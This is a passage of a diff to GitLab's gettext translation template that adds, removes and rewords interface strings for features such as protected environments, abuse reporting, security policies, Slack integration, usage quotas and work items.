-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
